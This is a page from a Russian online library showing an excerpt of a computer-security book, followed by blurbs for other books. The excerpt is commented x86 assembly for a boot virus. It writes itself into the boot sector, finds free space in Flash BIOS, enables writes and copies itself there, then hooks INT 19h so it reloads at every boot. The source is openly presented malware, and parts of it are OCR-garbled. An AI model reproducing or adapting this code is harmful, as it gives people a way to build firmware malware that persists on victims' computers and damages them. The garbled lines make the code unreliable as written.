Читаем Защити свой компьютер на 100% от вирусов и хакеров полностью

Write_Virus:

; Записываем оригинальный boot-сектор

mov ax, 0301h

call int-lSh

jc pop_exit

; Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot-сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db "VLAD"

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h-FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

; (величина свободного места для вируса)

xor dx, dx

ok_new_segment:

; Перейдем к следующему сегменту

inc ax

mov ds, ax

; Проверим, есть ли еще место для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; Проверим, свободно ли место (для скорости проверяем словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Увеличим счетчик размера найденного свободного места

inc dx

; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

cmp dx, 512

je found_storage

; Увеличим смещение проверяемого байта

inc si

inc si

; Сравним с 16. Переходим к следующему сегменту

; в начале каждого параграфа

cmp si, 16

je ok_new_segment

jmp test16

; B эту точку попадаем, если место найдено

Found_storage:

; Перейдем к началу зоны

sub ax, 40h

mov ds, ax

; Получим требования к сохранению состояния чипа

mov ax, 0E001h

int 16h

; Проверим, сколько памяти необходимо для сохранения состояния

; чипа. Если слишком много, не будем сохранять состояние

cmp bx, 512

jbe save_chipset

; Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset, 1

; Перейдем к записи

jmp write_enable

; Сюда попадаем, если Flash BIOS не обнаружен:

; записывать некуда – выходим

No_Flash_BIOS:

ret

; Сохраним состояние чипа

save_chipset:

; Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset, 0

; Сохраним состояние

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; Записываемся во Flash BIOS

write_enable:

; Повышаем напряжение

mov al, 5

int 16h

; Разрешаем запись во Flash BIOS

mov al, 7

int 16h

; Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; ВХ=сегмент вируса

xor ах, ах

mov ds, ax ; DS=Ta6nHua векторов

mov di, word ptr [19h*4] ; Смещение INT 19h

mov es, word ptr [19h*4+2] ; Сегмент INT 19h

; 3апишем JMP FAR по адресу точки входа в INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряжение

mov ax, 0E004h

int 16h

; 3ащитим Flash BIOS от записи

mov al, 6

int 16h

; Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояние чипа

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Флаг несохранения состояния чипа

chipset db 0

; Флаг присутствия вируса во Flash BIOS

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим вирус в boot-буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot-сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

; Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot-сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

 jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot-сектор, находящийся в boot-буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot-сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

Перейти на страницу:

Похожие книги

Основы информатики: Учебник для вузов
Основы информатики: Учебник для вузов

Учебник состоит из двух разделов: теоретического и практического. В теоретической части учебника изложены основы современной информатики как комплексной научно-технической дисциплины, включающей изучение структуры и общих свойств информации и информационных процессов, общих принципов построения вычислительных устройств, рассмотрены вопросы организации и функционирования информационно-вычислительных сетей, компьютерной безопасности, представлены ключевые понятия алгоритмизации и программирования, баз данных и СУБД. Для контроля полученных теоретических знаний предлагаются вопросы для самопроверки и тесты. Практическая часть освещает алгоритмы основных действий при работе с текстовым процессором Microsoft Word, табличным редактором Microsoft Excel, программой для создания презентаций Microsoft Power Point, программами-архиваторами и антивирусными программами. В качестве закрепления пройденного практического курса в конце каждого раздела предлагается выполнить самостоятельную работу.

Максим Анатольевич Беляев , Вадим Васильевич Лысенко , Лариса Александровна Малинина

Зарубежная компьютерная, околокомпьютерная литература / Прочая компьютерная литература / Книги по IT
Исповедь кардера-2
Исповедь кардера-2

Русь всегда славилась своими «левшами», не изменилась ситуация и сейчас. Не зря ведь большинство специалистов американской Силиконовой долины имеют русские корни.В продолжении фантастического романа о приключениях кардера Изи Питерского и его команды читатель вновь сможет оценить изворотливость и выдумку новых русских хакеров. Более того, теперь они работают на страну, для ее блага и процветания, создавая свой аналог известной долины разработчиков в США — Русскую Таежную опушку.Подпольная битва между кибер-войсками НАТО и русскими хакерами, противостояние спецслужб великих держав — со всем этим и многим другим читатель сможет познакомиться в книге Алексея Малова «Исповедь кардера — 2».

Алексей Малов

Детективы / Зарубежная компьютерная, околокомпьютерная литература / Криминальные детективы / Прочая компьютерная литература / Книги по IT